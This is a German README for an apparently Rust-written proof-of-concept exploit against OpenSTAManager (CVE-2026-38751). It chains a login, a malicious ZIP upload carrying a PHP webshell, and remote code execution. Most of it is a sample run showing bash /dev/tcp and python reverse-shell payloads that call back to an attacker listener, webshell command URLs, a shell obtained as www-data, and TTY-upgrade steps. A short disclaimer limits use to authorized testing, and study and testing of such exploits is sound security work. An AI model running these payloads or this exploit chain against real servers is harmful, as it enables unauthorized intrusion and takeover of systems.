OpenSTAManager-RCE-Exploit-CVE-2026-38751
Beliebiger Datei-Upload, der zu Remote-Codeausführung führt
Vollständiger Proof-of-Concept für CVE-2026-38751, geschrieben in Rust.
** Warnung**: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bestimmt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Erlaubnis zum Testen haben.
OpenSTAManager ≤ 2.10 ist anfällig für einen authentifizierten, beliebigen Datei-Upload, der es einem Angreifer ermöglicht, ein bösartiges ZIP-Archiv mit einer PHP-Webshell hochzuladen. Dieser PoC automatisiert den Prozess:
| Funktion | Beschreibung |
|---|
| Anmeldung | Authentifiziert mit den angegebenen Anmeldeinformationen. |
| ZIP-Erstellung | Erstellt eine ZIP-Datei mit einem gültigen MODULE-Deskriptor und einer PHP-Shell. |
| Datei-Upload | Sendet das bösartige ZIP über den Aktualisierungsmechanismus. |
| Verifizierung | Überprüft, ob die Shell erreichbar ist, und führt einen Testbefehl (id) aus. |
| Interaktive Webshell | Ermöglicht das interaktive Ausführen von Befehlen über die Webshell (-i). |
| Reverse Shell | Sendet mehrere Payloads (bash, python, base64, nc, mkfifo), um eine Shell zu erhalten. |
| TTY-Upgrade-Anleitung | Zeigt eine Schritt-für-Schritt-Anleitung, um eine vollständig interaktive TTY zu erhalten. |
| Bereinigung | Entfernt das hochgeladene shell.php automatisch (sofern nicht --no-cleanup verwendet wird). |
Klonen Sie das Repository und erstellen Sie die Binärdatei:
git clone https://github.com/yourusername/OpenSTAManager-RCE-Exploit-CVE-2026-38751
cd OpenSTAManager-RCE-Exploit-CVE-2026-38751
cargo build --release
./target/release/openstamanager-rce-exploit --help
$ ./openstamanager-rce-exploit --url http://target.com/ -U <user> -P <password> --lhost 10.10.14.5 --lport 4444
[ OpenSTAManager RCE Exploit : ]
Target: http://target.com/
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 500 Internal Server Error
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Listening on 10.10.14.5:4444...
[*] Trying payload: bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
[-] Payload failed: operation timed out
[*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[-] Payload failed: operation timed out
[*] Trying payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[+] Payload sent successfully. Waiting for connection...
[+] Connection received from 10.129.19.238:55758
[*] Sent 'script /dev/null -c bash'
[*]
[*] Reverse shell established.
[*] To get a fully interactive TTY:
[*] 1. Press Ctrl+Z to suspend the shell.
[*] 2. Run: stty raw -echo; fg
[*] 3. When prompted for terminal type, type: xterm
[*] 4. Export: export TERM=xterm SHELL=bash
[*] 5. Adjust rows/columns with: stty rows <rows> columns <cols>
[*] (Get the size with: stty size)
[*]
[*] Press Ctrl+C to exit and cleanup the webshell.
bash: cannot set terminal process group (1481): Inappropriate ioctl for device
bash: no job control in this shell
www-data@target:~/html/openstamanager/modules/shell$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@target:~/html/openstamanager/modules/shell$ whoami
whoami
www-data
www-data@target:~/html/openstamanager/modules/shell$